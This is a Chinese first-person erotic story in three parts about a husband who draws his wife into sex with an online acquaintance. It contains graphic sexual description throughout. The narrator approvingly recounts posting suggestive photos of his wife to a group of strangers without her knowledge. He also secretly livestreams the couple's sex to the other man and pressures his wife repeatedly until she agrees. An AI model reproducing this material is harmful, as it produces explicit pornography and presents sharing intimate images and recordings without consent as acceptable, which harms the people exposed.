图片载入中

缘分 (上中下)

特大字】 【大字】 【中字】 【小字

故事该从哪儿开始说起呢,那是去年五一假期的时候,我开始认识的一位元网友。

当时放五一长假,因为个人的原因就没打算出去玩,在家里呆着,老婆也在家陪着我。

闲着没事就逛了下色情网站,偶然间看到有人提到了一个夫妻群,好奇之下就加了进去。

进去倒也挺顺利的,没有现在很多群里的那种审核,一进去就发现里面太火爆,好多人发爱人或者情人的艳照,当然都不是露脸的。

不过也有人质疑其中有的人发的照片是网上找来的,并不是真实的照片,为此还吵起来的也有。

网路世界虚虚实实谁管得了那么多,只要能满足人们内心的欲望让人能得片刻欢愉也已经足够了,突发奇想之下我也让老婆穿上了黑纱裙情趣内衣,摆了几个性感诱惑的姿势,拍了几张,当然没告诉她是要发到群里给人看,她只以为我是自娱自乐。

当这些美艳不可方物的艳照被我发到群里之后了,评论和赞美、求交往的信息铺头盖脸发过来了,对于妻子的身材和样貌我一直是有相当的自信的,虽然脸部打了码,但仅凭那好无赘肉的腹部以及黑丝大长腿就足够迷死人。

在这么多谄媚者中,唯有一位元与众不同,他语言诚恳,言语得体,很有修养的感觉,不像其他人发的乌烟㢓气,乱哄哄的,让人看了就倒胃口,于是就和他聊了起来,他叫小何。

那几天我们天天聊到午夜时分,相互之间很聊的来,对夫妻交友、淫妻绿帽的各种看法,工作生活上的大事小情,生活中的材米油盐,天南地北旅游八卦什么都聊,那几天我一上网就等着他和我聊天。

几天之后,小何突然发来几张照片,我点开一看那是身份证照,还没有打码的,所有的个人资讯都一清二楚地照在上面了。

我感到十分吃惊,当然我没有立刻相信,甚至怀疑这是不是他从网上哪里找来的,紧接着一个陌生的QQ号加了我,我还纳闷呢着,小何就发来资讯告诉我这是他的大号,小号平时不怎么上,以后就用这个号和我聊天。

玩网路的人谁没有个小号、马甲,就是为了做些见不得人的事的时候图方便以及不会泄露出自己的个人资讯。

而小何竟然能用自己的真正使用的QQ号加我,这再一次让我对他产生了信任感,他的QQ空间是没有加密的,无论是日志、说说还是照片我都能看到,那里面有他和家人、朋友、同学以及工作的照片,和刚才发来的身份证照上的那个人确实是同一个人,到这我才相信了那些照片确实是小何自己本人,光是这一点小何就足够让我刮目相看和喜欢。

我对他的评价总体可以概括为真诚可靠有学识有修养,唯一不足就是这哥们长相确实不好看,五官不协调的感觉,并且皮肤粗糙个头不高,老家是西安的,大学刚毕业就到苏州一家公司任职,谈过女友,不过现在分手了。

我把他的照片让老婆看了看,老婆说这人还不错,感觉他既老实又靠谱,就是这长相太丑了,我说也是。

但我心想老婆对他至少还有些正面的评价,应该不算是讨厌,便在旁边不停给她催眠,反正又不是见面,就当是认识了一个聊得来的网友随便聊聊好了。 在我的好说歹说之下终于答应让我拍她不露脸的情趣照片发给他,增加点夫妻之间的小刺激。

尽管老婆之前嘴里百般不肯,但到了要拍照的时候还是很自然地做出了一些性感诱人的姿势,果然女人就是口是心非的动物。

拍完照后老婆还再三跟我强调,只是网上聊聊就好了,至于和他在一起玩绝对没门,要找也要找个既赏心又悦目的。

接下来的几天我们又常常聊到午夜,从国政时事到奇闻异景无所不谈,当然主要还是聊我老婆喽,男人在一起聊的不是车子就是女人。

小何坦然不喜欢那种所谓的可爱小女生,从小就喜欢成熟女性,也就是人们常说的御姐的类型,尤其像我老婆这年龄的少妇最令他着迷。

小何夸她不施粉惑,自然美,不像现在流行的那种妖娆女浓妆艳抹,打扮俗气。

我问小何要不要拍几张老婆穿内衣的胴体发给你看下,他马上说其实早就迫不及待了,只是怕我们反感,没好意思提出来。

我心里笑笑你要看了我老婆的照片心里没点心思才有鬼,我后来自己也曾想过为什么偏偏对小何这个不认识的网友特别优待呢,除了之前说的有素质有礼貌之外,应该是一种不同寻常的反差、凌辱的心理在作怪,试想一下美丽端庄的妻子被一个猥琐丑陋的男人看光了身体,他看着老婆的照片天天意淫,是不是会很生气,但对我来说更多的是刺激和屈辱带来的快感。

之后我试着征求了老婆的意见,没想到这次老婆很痛快的答应了,我说老婆你这次咋这么配合呢?她说学雷锋做好事呗,他一个大男孩二十多了没女人怪可怜,反正不露脸,随便看。

我呵呵一笑,心说小骚货自己发骚还说的挺委婉的,之前我发了老婆的性感照片给小何之后,他简单回了两个字,硬了,我笑笑说那你发过来看看,没想到小何没过多久真发过来一张屌照,特大特粗,颜色还很鲜嫩,一看就知道没用过多少次。

之前有一天晚上我故意拿着这张照片给老婆看,她以为是我在网上哪里找来的照片特地拿来逗她,笑着说了我几句,当我告诉她这是那个网友小何的屌照之时,她有些诧异,特地又多看了几眼,我在她旁边煽风点火说,他是看了你的性感照片才硬成这样的,老婆脸一下红了,装作生气的样子躲进了被窝。

我知道她其实动情了,顾不得三七二十一,那晚拉着她做了两次,感觉比平时水多多了,我的鸡巴也是一直硬着的,一想起老婆看了其他男人鸡巴动情的样子,就再也软不下去。

这一回老婆又换上刚买来的蕾丝性感内衣配合我拍了许多照片,我特地挑选了几张发给小何看,他马上热情回应,好多赞美之词,用词很讲究,既优雅又带些情调,我还把手机拿给老婆看。

老婆仔细看了他观后感之后很兴奋,脸红扑扑的,我见了忍不住就吻上她开始和她做爱,我偷偷拍了照后入的照片给小何发了过去,想着刺激刺激他。 没想到小何那边很快就回复了,还问我能直播否,特想听嫂子的娇喘声。 我心情有点激动,给别人直播做爱这种事情还从来没有过,当这种新奇感很抓人的心思,我趁着一个机会就问老婆,小何现在也没睡我们要不要给他看看,怪可怜的。

老婆在嗯嗯哼哼的呻吟中没同意,我没死心,一顿快速地猛操后,又故意放缓了动作,故意吊着老婆的胃口,她在我纠缠之下勉强答应了录qq短视频,我高兴地一拍老婆的屁股,就开始边插边拍。

每换一个姿势就拍一小段发给小何,他那边就不停的夸赞老婆身材和娇声,说好想好想要她。

我边插边问老婆,小何看了视频想操你了咋办,老婆说那就快让他来呗,我要我要。

我有些惊讶,不知道她说的是真是假,但却极大地刺激到了我的绿帽心理,鸡巴在她的小穴里硬到快要爆炸了,脑子一发热就给小何发去了qq视频的请求,一手拿着手机直播一手抓着老婆的腰狂操。

这回可是真正直播了,我特地吧喇叭关了,老婆并没有发现异样,但麦克风开着,我们这边的动静小何听得一清二楚,我就开始故意问老婆一些羞人的问题,其中也有涉及到他。

老婆今晚显得特别的开放,问什么答什么每个答案都出乎我意料之外的惊喜和刺激,最后三个人都高潮了,只不过可怜的小何是撸高潮的。

后来的日子小何每天都早晚问候我们一下,并说希望送老婆几件礼物,我心想这小子倒挺上道,也不是我贪这么点东西,但相比于一毛钱都不肯出的穷屌丝,我当然更喜欢和这样至少经济没有什么问题的人交往。

我就把这件事跟老婆说了一下,问她需要什么,老婆一张嘴就是项链耳环钻石戒指衣服鞋子小包包,化妆品什么的说了一大堆,还不带重样的。

我说你这不是在宰人吗,咱也不能把人当冤大头了呀。

老婆笑笑说开玩笑而已,干嘛让他买呀,咱家又不是没钱,缺什么我给她买就行了。

我心里摇了摇头心说这傻媳妇,直接坦白告诉她,人家想要你人呀,有所图才买给你呀这都不懂。

老婆不好意思地笑了笑,说买了别心痛呀,反正我不会把自己给他这种长相的人,找不到帅哥不玩了,反正我也无所谓,有你一个就够了,上次你给找的那个渣男还不够教训吗。

我竟无言以对,只好像她再次解释几年前那次约会,那次的事故第一主要责任当然在我,只想着箭在弦上,不得不发,忽略了老婆的真实意愿,再一个万事开头难,主要还是没经验,玩之前没有做好各种预案,仓促中难免出错,这里面太多事情就不细说了。

我安慰她说,这次我们一定不急,真到那一步,最后的一步也要征求老婆的意见,彻底执行老婆的意愿,你不同意我们立马走人。

老婆见我如此认真,躺我怀里含情陌陌的看着我,说知道我是为了她的性福,但也要我承认自已也是为了满足一下自已的淫妻欲。

这点我完全承认了,知我者莫如老婆,但这一次一定要以老婆唯是从,她呵呵笑了。

随后的日子里我和小何越聊越熟,但就是不提老婆的事,最后小何急了就开始问我关于老婆的事和她的心思,我心想让你小子装,哪有猫不爱吃鱼的,最后还不是显出原形。

我吊了他几次胃口后,也就不耍他了,把老婆的企鹅号告诉了他,让他们互加了好友,自已聊去。

后来有几个月工作太忙,一直没上那个企鹅号,老婆私下也不爱和小何聊,小何发来好多句话,老婆只是简单回应他一个字两个字的。

但小何一直显露出他的那份高素质,不急不躁,没有因为被浇了冷水,后来就撤退了,这是我遇到过的好多网友普遍存在的毛病,太急于求成,一见女方没有什么意愿,就不费那个功夫,最后当然是淘汰出局。

小何的表现也是造成我们最后成功的关键。

其实老婆和小何聊了这么久,对他还是比较满意的,她也说这个人绝对安全可靠,就是长的丑,真是可惜了。

我笑笑说这叫人丑鸡巴不丑,顺势又把他鸡巴照给老婆看,他的家伙还算不小,典型的磨菇头,没有一点包皮的样子,和我的区别很大,我的啥样在这里就不提了。

由于老婆一直没答应和小何3P,就一直拖着,我心里其实也挺着急的,一直以来对于小何我都是比较满意的,而且也符合我心里那种美女与野兽的变态幻想的追求。

只是老婆不点头我也实在没办法,后来老婆让我再找找别人,万一有那种又帅又素质好的呢,我心想说真有这样的男人,身边还缺女人玩吗,这种男人在单男这个群体中稀有程度堪比国宝了吧。

无奈我又找了几位志同道合的网友聊,看看他们身边有啥资源能推荐的,我们所有聊天内容全让老婆过目,挑来挑去也没一个合适。

转眼国庆日快到了,小何想到我们这来旅游,我就跟老婆说了小周要来,她白了我一眼,来了让他插你呀,反正我的没他的份。

这话说的真呛人,我说又不是我邀请人家来的,是人家自己来旅游的,你想歪了,她又呵呵大笑,我没有过多追问她的心思,想着顺其自然就好。

后来国庆日第二天小何到了,他先发了资讯给我,我就让他到我家来玩玩,小何说和几个同事一起来的,不太方便,问我老婆同意见面吗,如果同意他单独找个地方大家聚一下。

老婆到现在都还没答应,我要说出来怕他会失落,给了个模棱两可的答案。 后来自己单独找他们玩了一天,午饭我请的,后来他又以红包的形式发给我了,到头还是他请客。

在饭桌上小何介绍我是他多年的朋友,他的那些同事也没怀疑,因为都是同龄人大家玩的还是比较高兴的。

只是这次在饭桌上我见到小何的一位同事挺帅的,而且整个吃饭和交谈的过程中都能感觉到这个人的素质不错,很健谈又彬彬有礼,让人十分舒服,我后来找了个借口跟他要了微信号,说是以后来这玩记得找我。

这次的假期到最后也没有什么进展,从国庆过后一直到过年的那段时间我们夫妻又很忙,基本就没和小何联系过几次,直到过完年以后小何发资讯说买了一套维密的内衣和一套化妆品想寄过来。

因为他三月底要回XX了,说是谢谢大哥和嫂子陪我聊了快一年了,经过这么长时间聊天,早就把我当成亲人,把老婆当成恋人了,尽管只是单相思,但他会永远记住美女姐姐的。

直到永远。

不管他的话里是真是假,但赞美的话总是让人高兴的,尤其是女人,我把信息拿给老婆看,老婆看了竟然感动的流泪了,对我说他没想到他这么单纯。 我故意挤兑她说,你光看长相,长相好有啥用,内心好才真好,老婆点了点头赞同了我的观点。

后来东西真给寄来了,虽然我们极力推辞他的礼物,但他说反正已买完了,不要的话就太不给他面子了,这里要说一点的是东西不是直接寄到我的家里,而是我选了一个离得比较远的一个代收站,不至于和泄露出自己的个人资讯来。 拿到礼物之后,老婆穿了他送的内衣破天荒地视频给他看,小何兴奋极了,大叫美女姐姐我爱你,你是我一辈的女神。

我趁机对小何说走之前抽空来一趟吧,老婆害羞说你们俩真够基友的,后来不好意思就去另一个房间了,我看着老婆的背影知道有戏了。

小何还有点蒙圈,问美女姐姐让我去的意思吗,我说你想来就来好了,你来了才有成功的机率呀。

这下可把小何给乐坏了,激动地问我大概有多大把握在一起,我说三分之一可能,也可能和上次一样不和你见面,小何这小子还真行,听了这话也不气馁,说不见面也不怪美女姐姐,这次他去定了,并谢谢我一直以来的撮合。

我看他那样子,恐怕是要失眠一晚上了,至于那个后来我主动加了的小何的同事,那是另外一回事了,后面我有时间再写出来。

接下来小何便问我什么时间去合适,我说你啥时候方便就过来呗,反正我这段时间都比较有空,小何考虑了一下回复我说这两天过完年公司刚开始上班,不太好请假,问我月底行不行,我想了想说可以呀,以你的时间定。

我后来又把小何要来的日子给老婆说了说,告诉她小何月底来我们这游玩哟。

没想到老婆一下就变了脸,说不行。

刚才还好好的,现在怎么就变态度了,我有些着急地问她怎么了,没想到她支支吾吾小声说月底大姨妈还不一定干净。

我一听先是一愣,再有就是兴奋,老婆既然这样说不就是意味着她接受这个小何了吗。

然而我却假装听不懂的样子,故意逗她,说大姨妈干净不干净关人家咋啦,人家只是来旅游,老婆撒娇地向我的胸口捶来。

我当着老婆的面故意用语音把这件事跟小何说,你嫂子说让你晚三五天来,她这几天大姨妈没干净,老婆赶紧捂我嘴,打了我一下。

最后共同商定小何三月四号左右过来我们这边。

等待总是感觉漫长的,期间我和小何探讨了好多具体的细节,又继续开导老婆,给老婆做心里建设,也是怕她临时再反悔,没想到老婆说不用开导了,这次我豁出去了,满足你个变态狂。

激动呀,那边小何也说太激动了,期盼了一年的心愿终于要有个结果了,他在公司请了假,三月四号早晨坐车出发,下午三点多到的,由于是工作日,我不能去接,让他自己开个房先休息,等我们下班后再安排。

下午是我先下班,下班后按惯例去学校接了孩子开车送到我爸妈那,又给老婆联系说明了情况,老婆说你自己看着办呗。

当时时间已是下午六点多,我便立马开车赶往小何下塌的XXX宾馆,他见到我后很有礼貌,问嫂子没一起过来呀,我说她还没下班呢,得晚一会才能下班。

看得出来小何也有些心急,我跟他说要带他先去吃点东西,小何说等嫂子来了一块吃呗。

我又打电话催老婆,没想到她竟说已到家了,正准备做饭,我有些头大,但又转念一想不如就带小何去我家,反正上次也没去成。

小何一听自然乐意了,说把旅行箱带上,里面有给老婆买的衣服,来的时候临时起意买的,按照老婆身高体重买的,让老婆试试喜欢不,可能不一定合适,我心里满意地点了点头。

路上小何一直说太激动,让我到家后帮帮他,免得他在女神面前太紧张,不知该怎么和她交谈,什么话题合适。

我说你放心好了,她性格温顺,待人挺随合的,他说这些都了解,嫂子真的好温柔娴惠,美丽大方,而自已是一枚啥也不是的屌丝,感觉压力挺大,自已配不上嫂子。

我笑笑说又不是让她嫁给你,什么配不配的上,你只需像对待女神一样的对待她,她不会让你为难呢,况且还有我替你助阵呢,他说今生能遇到你们这么好的夫妻真的值了。

说话的功夫很快到家了,我把车开进车库,便领他进了家门。

(中)

到家后我忘带钥匙敲了敲门,敲了一会老婆才来给我们开门,她穿着平时在家穿的家常衣服,没有任何刻意的打扮,一切都显得那么的自然。

原来是老婆在收拾房间,正在打扫卫生呢,在老婆还没看见我身后的小何时,他赶忙从身后站了出来对老婆说了声嫂子好,我老婆这才发现了他,瞥了他一眼,小脸居然顿时红了起来,那害羞的样子真是诱人极了。

我呵呵笑着把他带进房间,让他随便坐,老婆一句话也没说就去拿了两个杯子放上茶叶给我们俩一人泡了一杯热茶。

小何问我家的WiFI密码是多少,我灵光一现,说我也不知道是老婆弄的,于是让他去问我老婆,这么明显的给他机会我想他不会不懂的。

小何小声跟我说见了真人有点不好意思和她说话,我都差点晕倒,说你能不能再老实一点,说话都不好意思,待会怎么继续。

小何说他紧张,我给他壮胆说放开点,聊的才好下手,你嫂子又不是吃人的妖怪,这么害怕干嘛。

他就点了下头,往厨房那里叫了声嫂子,老婆没回应,又叫了两声老婆这才从厨房那边过来了,什么话也没说,脸蛋红彤彤的,都不好意思正眼跟他对望,我只好从中间打圆场,说小何问你家里WiFi密码,她噢了一声,伸手问他要手机,他赶紧解锁递给老婆,两个人的手就这么第一次接触,像触电一样,都很尴尬,看来两个人都放不开,就我一个人还算正常点。

玩了会手机,听到老婆做菜的声音,小何连忙扔下手机说,这怎么好意思让嫂子受累,我坐这边玩手机,我要去帮忙,让你们尝下我的手艺如何,我心说这小子总算是开窍了。

我就没过去打扰她们,留点空间让他们俩先熟悉熟悉联络联络感情,只听着他们又是做菜声又是聊天声,话越来越多,有时还能笑出声来,我知道今天这事有希望了。

饭菜准备完就一起吃饭,边吃边聊,我们俩人喝了七八两白酒,老婆不太能喝酒,就陪着我们喝了一杯红酒,在我的引导下,两个人很快打开话匣,从小何的工作生活恋爱到我们家的大事小情,聊的挺投机的,吃完后他俩又一起收拾桌子,一起去洗刷,把我晾一边去了,感觉他俩才是夫妻似的。

洗刷完后小何叫老婆一起过来,他打开行李箱,拿出临行前给老婆买的衣服,让老婆穿试合适不,老婆很客气地说挺合适的,款式和颜色也喜欢,就是太贵了,让你破费了。

小何摆摆手说这是哪里话,只要能看到你高兴,我心里也高兴,边说边动情的看着老婆,这下老婆也不躲他的眼晴了,两人四目相对气氛开始暧昧起来,接着小何又拿出来两盒阿胶,以前聊天时无意中提过老婆有点贫血,这回老婆是真的有些被他感动了,如果说前面买内衣是感谢的话,这两盒阿胶说明小何这人是真的把人放在了心上。

小何详细地跟老婆说了用法和用量,又列了一个清单,说在网上查的,吃这几种食物补气血,这下可把老婆感动的有点要哭了,回头还白了我一眼,那意思是我这个做老公的平时都没有人家用心。

老婆感动地说你刚刚工作不久,干嘛花这么多钱,以后不要再破费了。 小何又不失时机的继续骟情,说为自己喜欢的人花钱自已心里高兴,自从认识你以后我就犯了相思病,每天吃饭时上班时或是睡觉时都想着你此时在干什么,工作顺利吗?过得开心吗?天天翻看企鹅空间有无你的动态,有没有你的资讯,在我眼里你是会天下最迷人的,这家伙不说还罢,真开了话匣真是越说越来劲,越说越肉麻,那感觉就跟男女朋友一样,我都听的想笑。

老婆本来就有些放不开害羞,小何这一阵又表白又猛夸又肉麻的把老婆弄得很尴尬,又气又急的朝我发嗲,说老公你还在那笑呢,你听听他说的什么都,不理你们了。

说完跑进卧室反锁上了门,突然的状况把小何搞蒙了,说大哥咋办,现在怎么办,嫂子生我气了。

我心说你小子刚才不是情圣吗,这会儿知道自己用力过猛了,我笑笑对他说没事,听我指挥,别看嫂子现在这么矜持,待会插进去她就没脾气了。

小何忙说大哥千万别对嫂子不礼貌,我甯愿这次不成功,也不能在嫂子不自愿的情况和她有什么。

也不知道这小子说的是真是假,但起码我听来还是蛮靠谱的,我说你先去街上去转转,待我给你哄好她,再发信息给过来,小何明白我的意思,说一切听大哥的安排。

小何出去时我故意装成送他打的回宾馆,声音弄的挺大,他出去后说大哥你先回去吧,我在这附近熘达熘达,不急的。

我回去后敲了敲卧室门,老婆打开门后问我,你怎么真的送他走了呀,那样子看起来有些生气了。

我晕,我说人家对你说几句真情的表白你都生气,人家还不走留着干嘛。 老婆有些着急了,说我不是生气呀,人家不好意思嘛。

我也不跟她啰嗦了,推着她我俩一起先洗澡,边洗她还边在旁边唠叨说这样对小何不好、很不礼貌。

我装生气不理她,她想了想又说要不,我说要不什么,她没继续说出来,但我已明白,当时心想再等会通知小何回来,为了避免他们放不开,我先把火先点起来,等烧旺了这事就好办了。

于是从浴室出来擦拭干身体,让老婆换上小何送的那套内衣,拥吻着上了床,亲呢了一会我给小何发了个抖动,果然他回了两个字,速达。

我又稍等了一下,对老婆说感觉有点尿,怕待会耽误事,等我尿干净洗下鸡巴回来给我口一下,于是迅速走出卧室,走到门口打开门让小何进来,又轻轻关上。

小声交待小何马上脱衣服进浴室冲洗一下,说我先去给你把;老婆欲望挑逗起来,洗完就进卧室开始。

又特别安排小何一定要慢慢来,按以前聊天时交待他的步骤,还有就是老婆喜欢温情的,不喜欢猛烈的,小何说大哥你放心好了,我会好好对嫂子的,绝不会让她有一点点不适,待会就看我表现吧。

交待完我就进去了,当然卧室门没有关死,只是轻轻合上了一点。

进去后老婆一把把我拉倒在床上,一看就知道急了,一阵翻滚后褪掉我的内裤,我就叉开腿倚坐在床头,让老婆趴在床上给吃鸡巴。

她越吃越兴奋,甚至把我蛋蛋含在嘴里,以前让她含都不同意,就在我们彼此正陶醉时,卧室门轻轻打开了。

老婆听到动静突然停下嘴里工作,往后头一看看到了一丝不挂的小何,明白过来,开始紧张起来,说我坏,就会骗人。

小何全裸着爬上了床,老婆本来是趴在床上,感觉身后的小何上了床,连忙爬起来跪趴着向前抱紧我,我趁势揽着她湿吻她的唇,当小何的手轻轻的触上她的小脚丫时,她明显浑身一颤,但没有拒绝,我知道她已经同意了。

我抓起老婆的手去摸小何的鸡巴,我把她手放在小何的鸡巴上,老婆不好意思握紧,在我的鼓励下才慢慢握住,过了一会甚至开始撸起来,动作十分轻柔缓慢,但看小何的表情明显受不了身下的老婆的刺激。

贴近了老婆的身子,在老婆耳边说嫂子你身体太美了,我受不了了,想进去你里面好不。

老婆直摇头,我提议他们来个69式口交,先培养培养感情。

小何还没等老婆有所反应就把老婆屁股抱住翻身放他头部开始了口交,老婆被他舔的呻吟起来,并用手套弄他胀的笔直的鸡巴,我让她含嘴里,她先是摇头,后来忍不住用舌尖触碰,在我再三鼓励下直到含进嘴里吞吐。

两个人69了小一会,我先问老婆,小何的鸡巴好吃不,老婆边伸舌头吐出一根他的屌毛,边摇头。

又问比我的硬不,她轻轻地嗯了一声,我的心又酸又刺激,我又去那头问小何,老婆的逼逼咋样,他说太美了,超过他前女友几条街,我爱死她了,边说也来了个狠的,老婆大声哎哟尖叫一声。

我说老婆你也报仇咬他个狠的,老婆就含住他蛋蛋使劲用嘴吮吸,小何爽到受不了,直求饶。

这时小何可能心理和生理上太刺激了,连忙把鸡巴从老婆嘴里抽掉,捧着老婆屁股放下她来,对我说不行了,刚才差点射出来!实在受不了了,想插,征求我的同意。

我说你问问你嫂子呗,我不管,他扶着大鸟蹭老婆大腿根处,挑逗老婆,小兄弟想插你里面好不嫂子,此时的老婆也已经欲火难耐,良家的矜持和羞耻感已荡然无存,只剩下挑起的欲望了,微微的从嘴里呜咽出一个好字。

小何问我要不要戴套,我说不用了,对你我一百二十个放心,他用感激的眼神望了我一眼后,挺着那根胀到极点,硬如钢棒的鸡巴凑向老婆,用膝盖撑开老婆腿,用手扶着寻阴道口,忽然闷喝一声,没想到他如此熟悉老套的一下子就插进去了。

老婆也被他猛地一下插入刺激大叫一声,进入后小何就趴紧老婆身上,不敢抽动了,我问怎么了,他说老婆里面好紧噢,里面不只紧又烫,层层叠叠的,感觉逼里面好嫩好舒服,有种精虫临门的感觉,进去就差点射出来,所以插进去就不敢动了,先缓缓劲。

缓了一会才慢慢抽插,边插边趴老婆耳边说情话,你里面好舒服,软软地,滑滑的,我爱死你了,边说边凑向老婆嘴,老婆接受了他的舌吻,基本上就一秒钟一下的节奏,还关心的问老婆什么感觉,舒服不,感觉插你里面的鸡巴大不。 小何的这些问题本来都是我们夫妻俩的闺房情话,现在由一个陌生人问出来,这感觉又奇怪又兴奋。

回答小何的只是老婆越来越动听的性奋呻吟声,我在他们后面观察着交合处,那心情那酸爽无法用语言去表达,只有亲身经历过的老公们才懂得自己的专属的最心爱的爱人,在你面前被另一个婚外成年男性噼开双腿露出女人最私密的地方,做只属于你们夫妻之问最私密的事情那种心情是怎样的。

小何的鸡巴被老婆里面刺激的又粗又硬,插的小逼鼓鼓的,两片阴唇肿胀的含着他的鸡巴,随小何的抽插动作而一下陷进去一下鼓出来,两人的混合液体越来越多,沾满小何的鸡巴,顺着老婆屁股沟都流到床上了,一滴一滴的。 老婆被小何插的已经迷离了,神智不清了,呻呤声都变调了,兴奋程度是和我做时很少见的,我刚想说让他换个姿式继续插,他大叫一声不行了,猛地拔出,喷了好远,从逼逼到老婆肚脐眼以上,甚至最远的都喷到奶子下面一点的地方,拔出后我看老婆的小逼还在张开着何不拢了,里面嫩红的逼肉还不停地蠕动,浑身还在打颤。

小何显的很不好意思,说一下没忍住,射的太快了,我说没事的,你表现的已经不错了,他忙撕下卫生纸帮老婆擦拭干净,还在老婆额头亲吻了一下,现在想来后来小何还能有机会和我们夫妻再次玩耍,也是跟他的这点细心体贴有关,而不是只是顾着自己爽了就好。

小何解释道他一般第一炮时间短,但第二炮应该可以坚持长时间不射。 我说你先去冲下,待会第二炮再好好表现,他便去浴室了,老婆还瘫软在床上一动不动,我问她,被小何插的过瘾不,她微微一笑,反问我看自已老婆被人插过瘾不,这小妮子的嘴还真不饶人,要不是怕她待会还有大战会累着她,我当时真想扑上去和她大干三百回合。

我笑说待会小何出来你可得拿出本事来,不能被人小瞧了,要让他见识见识你的魅力,老婆笑笑说去你的,老婆被人插了还这么高兴,就没见过你这样的,我心想那可不一定,中国这么大多少夫妻不是同床异梦,有些人是想做不敢说,我只是敢想更敢做而已。

(下)

话接上回,小何射完后去洗澡了,我对老婆说你刚被他射了一身,要不然也一起去冲洗一下,老婆说等他洗完再去,我说你干嘛还放不开呀!小骚逼都被他插过了,还有啥不好意思的呢。

老婆装作生气的打了我一下,但看得出来她其实心里还是蛮高兴的,我不断劝说着她,边说边推搡着老婆快些过去,她只好扭扭捏捏地红着脸走过去。 等她戴好浴帽后,我把老婆推进浴室对小何说,给你嫂子也清理下,你刚才都射了她一身了。

小何听后立马非常兴奋,但他见我在场尽管十分兴奋还是不敢动手,我自觉地退了出去,把门给他们掩上,其实没有关实,留了道缝给自己偷着了,只见我走以后小何一把搂过老婆到喷头下,就着水雾帮她全身上下搡搓起来。

因为有了刚才的实战经历,老婆对于小何接触她肉体这件事已经不反感了,小何手里抹着肥皂泡以帮老婆冲浊的名义又摸了个遍,然后给奶子上涂沐浴乳,两个手又捏又揉的鼓弄着老婆的乳房,疲软的鸡巴已是重新笔直上翘了。 然后又把逼逼处仔细搓洗了一遍后忍不住开始搬起老婆一条腿分开放在马桶盖上,又吃起老婆逼逼来了,吃的老婆呻呤声很大。

小何下面一只手托着大腿吃着逼,另一只手伸向老婆的奶子握着揉捏,老婆舒服的站都站不住了,贴着墙浑身发颤,像是马上要歪倒的样子,最后终于用手去推开他才作罢。

小何这回主动起来要求老婆帮他口一下,老婆犹豫了一下还是蹲下给他舔吃起来,看她吃小何鸡巴的样子我异常激动,下面也涨的难受,她这么多年被我调教的从一个坚决拒绝口交的小女人变成现在这样,这是何其的满足。

只见老婆一会把他蛋蛋含嘴里裹住,一会用伸长舌头从蛋蛋一路舔到小帽处,还用舌尖碰马眼,还眼看着把他的整根香肠吞下去,直到喉咙最深处,此情此景让我无法把持,真想连忙冲上前去分享被她服伺的快乐。

他们两人又是玩了一会,二人互相用毛巾擦拭干净,这才转移阵地到床上。 到床上后我们两男分别站她左右两边,老婆一手抓一个左右开弓,一点也不偏坦,把我们两个大男人都给舔弄的忍不住呻吟起来,最后还是小何先忍不住了,呻吟着叫着说嫂子我受不了你了,刺激死我了,我快要爽死了。

我说要不你先插,小何赶紧说行呀,刚才在浴室里我都有点忍不住想要她了,于是我便扶老婆趴下,而我则躺床上她给我吃,老婆撅着屁股,小何走到她屁股后面,先低头伸手去扒弄,虽然我当时在前面看不到具体,但不用看就知道他在拨弄老婆的木耳。

我想小何在后面视觉刺激肯定也很强烈,因为老婆臀形很漂亮,特别诱人饱满,是传说中最迷人的桃形臀,小何把玩了一会对老婆说要进去了,老婆没有口头回应,但是挪了挪屁股用实际行动告诉她。

小何一手扶着老婆的屁股一手扶着自己的小钢炮对着桃花源用棍帽在那戳弄,我真是有点佩服他当时的定力,没有因为自已特别的想而暴力猛然插入,而是先用龟头挑拨桃花源,等待老婆放掉最后一点矜持而变的更主动。

这招果然有效,随着两人性器官之间的撩拨而发出的啵滋声,老婆已不能专心给我口交了,屁股开始摇晃,有些想往后蹭进去的样子,小何依旧逗弄着老婆就是不进入,我便问老婆想要小何马上插进去吗,老婆含煳不清的说想,我接着挑逗她想谁的,她这次倒挺主动,说想小老公的,我心里又酸又刺激。

我说还不快求小老公马上插进去,我拿起手机绕到他们身后去准备拍些照,小何也是兴奋到极点,说快求我呀宝贝,这家伙还没等老婆说完,听她刚说了句小老公我求xxx,后面的话还没说出来,小何便屁股往前一挺,一下子全根没入老婆阴道里,两人同时舒爽地大声叫了出来。

接着小何便两手捧着她屁股奏起了性受交响曲,啪啪声,两人呻吟声,小何的呻吟竟有时比老婆的还大,偶尔全根拔出老婆阴道还会发出类似放屁的声音,这种声音平时我们做也常常有,有时插入拔出一次便响一次,我不知别的女人有没有这种情况。

我特意趴到他们交合处下面观察了一会,老婆当时水真多,多到氾滥的地步,毫不夸张的说真是淫水四溅。

亲眼近距离看到自已老婆的美穴被别人赤裸裸肉贴肉的肏入,那视觉冲击的令我炫晕,真是难怪有人钟情于淫妻绿帽,实在是太震撼了,他们的性器官交入的如此紧凑完美,仿佛它们才是完美的一对。

听着老婆的呻吟声越来越像惨叫,当时真有点心里酸气腾腾的感觉,虽然我知道她是舒服的开心的呻吟声,但我还是好心疼我的女人,毕竟她是我心里最重要的人,她能够和别的男人做爱完全是因为我的淫妻心理,她为了迁就我迎合我才走上这一步,非她本意。

真真正正的好女人,好良家,生活中,工作中与男性之间清清白白,从来不搞任何的小嗳味,从来不主动和同事或男性朋友搭讪,说这些也许有些朋友以为我吹牛,老婆这么本分怎么现在沦落到心甘情愿的和陌生男人做爱,我也不可能三言两语给你们解释清楚,其实把老婆开发到这一步我是费尽了所有心思,经过千辛万苦才终成正果,其实只要各位老公们有我这恒心和绝心,我相信再保守的妻子们也会开发成功。

其实有时想想自已也挺不是个东西的,亲手把自已这么清纯传统的爱妻给毁了,这样做到底对还是不对,以后的路又该如何走,这是激情和冲动过后值得大家深思的,说的有些沉重了,还是说话小何和老婆他俩吧。

我起身到了后面一把抓住老婆的脚,老婆很紧张的回头看着我,我安慰她放开点享受吧,将她的脚趾含进了嘴里大口大口地吃了起来,老婆见我没有什么异样才放下心来继续享受。

小何这时也学我拿起老婆的另外一条腿看了我一眼,我知道他的意思是征求我最后的意见,我朝他点了下头,他抓起老婆另一条腿,也学我样的把她的脚趾头含在嘴里吮吸,从大到小舔了个遍,有时还能含住好几根,越吮越兴奋,喘着粗气,老婆也是很敏感,脸色已是潮红。

脸趴在床上快要兴奋的喘不过气了,我故意开玩笑的对小何说,你小子咋吃的这么香,跟啃猪蹄似地,他听后有点不好意思了,老婆更是用脚蹬了我两下,说你的才是猪蹄呢,你的是猪头,你就是一头猪。

